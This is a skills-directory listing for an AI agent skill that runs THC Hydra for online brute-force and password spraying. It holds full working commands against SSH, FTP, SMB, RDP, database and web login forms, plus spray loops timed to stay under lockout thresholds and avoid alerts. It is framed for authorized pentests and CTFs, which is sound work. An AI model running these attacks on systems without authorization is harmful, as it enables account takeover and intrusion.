Skip to content
Back to skills

Hydra

BSecurity

Run online login brute-force and password spraying with THC Hydra. Use when a user asks to test the login strength of SSH/FTP/HTTP/SMB/RDP services they own, validate a credential list against a target during an authorized engagement, or run a CTF login brute challenge.

  • 155 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added May 29, 2026
securitygobashsqlspringtestinggitapidevopssecurity

Works with

  • terminal
  • cli
  • api

Security analysis

B85/100
  • highContains patterns that look like hardcoded API keys

Pro scans all 2 files and shows the line behind each finding

Scanned November 8, 2026

npx -y skills add TerminalSkills/skills --skill hydra --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Hydra?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Hydra
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/terminalskills-hydra/badge)](https://www.skillsdirectory.com/skills/terminalskills-hydra)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: hydra
description: >-
  Run online login brute-force and password spraying with THC Hydra. Use
  when a user asks to test the login strength of SSH/FTP/HTTP/SMB/RDP
  services they own, validate a credential list against a target during an
  authorized engagement, or run a CTF login brute challenge.
license: Apache-2.0
compatibility: 'THC Hydra 9.x (tested against 9.7), Linux/macOS'
metadata:
  author: terminal-skills
  version: 1.1.0
  category: devops
  repository: https://github.com/vanhauser-thc/thc-hydra
  tags: "hydra, brute-force, credential-testing, penetration-testing, password-spraying"
---

# THC Hydra

## Overview

Hydra is the standard online credential testing tool: it throws username/password pairs at live services (SSH, FTP, HTTP forms, SMB, RDP, MySQL, PostgreSQL, Telnet, VNC, and 50+ more) and reports valid combinations. Unlike offline crackers (John, hashcat), Hydra attacks live services — rate limits, account lockouts, and alerting systems all apply. Use only for authorized security testing and CTFs.

## Instructions

### Step 1: Prepare Usernames and Passwords

```bash
# One entity per line
cat > users.txt <<'EOF'
admin
root
postgres
svc_backup
jdoe
EOF

# Reasonable password list (don't use rockyou — 14M lines is pointless online)
cat > passwords.txt <<'EOF'
Summer2026!
ChangeMe123
Winter2025!
Welcome1
Password1
EOF

# Common wordlists on Kali
ls /usr/share/wordlists/seclists/Passwords/Common-Credentials/
```

### Step 2: Attack Specific Services

```bash
# SSH
hydra -L users.txt -P passwords.txt -t 4 -f -V ssh://10.0.0.5
# -t 4  threads (keep low on SSH to avoid lockouts)
# -f    stop after first valid pair per host
# -V    verbose — print every attempt

# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -f

# SMB (domain accounts)
hydra -L users.txt -P passwords.txt smb://10.0.0.10 -f

# RDP (slow — RDP itself rate-limits)
hydra -L users.txt -P passwords.txt rdp://10.0.0.20 -t 1 -f

# MySQL / PostgreSQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5
hydra -L users.txt -P passwords.txt postgres://10.0.0.5
```

### Step 3: HTTP Form Attacks

```bash
# POST form — inspect the target form first
# <form action="/login" method="POST">
#   <input name="username">
#   <input name="password">
# </form>
# On failure, the response contains: "Invalid credentials"

hydra -L users.txt -P passwords.txt 10.0.0.5 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials' \
  -t 4 -f -V

# HTTPS with cookies and custom headers
hydra -L users.txt -P passwords.txt portal.fernhill-design.internal -s 443 https-post-form \
  '/api/auth:user=^USER^&pass=^PASS^:H=Cookie\: csrftoken=8f3a1c2e9b:F=error\":\"bad_creds' \
  -t 2 -f

# Basic auth
hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin/
```

### Step 4: Password Spraying (Safer than Brute-Force)

```bash
# One password across many users — avoids lockouts
hydra -L all-users.txt -p 'Summer2026!' ssh://10.0.0.5 -t 1 -W 3 -f

# Sequential sprays with delay
for pw in 'Spring2026!' 'Summer2026!' 'Welcome123!'; do
  hydra -L all-users.txt -p "$pw" ssh://10.0.0.5 -t 1 -W 3
  sleep 3600  # one password per hour — well under lockout thresholds
done
```

### Step 5: Output and Resume

```bash
# Save results
hydra -L users.txt -P passwords.txt ssh://10.0.0.5 \
  -o results.txt -f

# Restore after interruption
hydra -R
# Reads ./hydra.restore and resumes
```

## Examples

### Example 1: Audit Your Own SSH Bastion

```bash
# In the engagement agreement: "Authorized to test bastion.fernhill-design.internal
# for credential strength on a list of service accounts."

cat > svc-users.txt <<'EOF'
svc_backup
svc_ci
svc_monitor
svc_deploy
EOF

# Wordlist tailored to the org's naming conventions, not rockyou
cat > targeted.txt <<'EOF'
FernhillBackup24!
FernhillCi2026!
MonitorFernhill1
DeployFernhill!
Welcome1
EOF

hydra -L svc-users.txt -P targeted.txt \
  -t 2 -W 5 -f -V \
  -o audit-ssh.log \
  ssh://bastion.fernhill-design.internal

# Expected output:
# [22][ssh] host: bastion.fernhill-design.internal  login: svc_backup  password: [REDACTED]!
# Report weak credentials, rotate, done.
```

### Example 2: CTF — Break a Login Form

```bash
# Reconnaissance first, against a CTF box at 192.168.56.50
curl -sS -X POST http://192.168.56.50/login -d 'username=wrong&password=wrong' -i
# Response contains: "Login failed. Try again."

# Hydra with the matching failure string
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.56.50 http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Login failed' \
  -t 16 -f

# [80][http-post-form] host: 192.168.56.50  login: admin  password: letmein2024
```

## Guidelines

- **Only target systems you own or have written authorization for.** Online brute-force against third-party services is illegal and loud.
- Online attacks trip account lockouts — start with password spraying (one password × many users) before doing per-user brute force.
- Keep thread counts low (`-t 1..4`). High concurrency causes false negatives when services rate-limit, and alerts defenders.
- Always inspect the target form manually first to identify the real failure string — wrong `F=` matches make every attempt look successful.
- Use `-W seconds` between attempts on lockout-prone services (AD, RDP).
- Hydra is for live services. For captured hashes, switch to John or hashcat.
- On web apps, prefer `ffuf` or `wfuzz` for deeper customization (headers, JSON bodies, CSRF tokens). Hydra is faster but less flexible.
- Log every session with `-o` so you can reproduce findings and feed them into the final report. Add `-b json` (or `-b jsonv1`) to `-o` for a machine-readable report instead of the default text format.
- The condition string in a `*-post-form` module (`F=...` or `S=...`) must be the last colon-separated field; putting it third when there are more optional fields (`C=`, `H=`) silently breaks the match.

Files in this skill

  • SKILL.md5.3 KB
  • _scores.json1.5 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.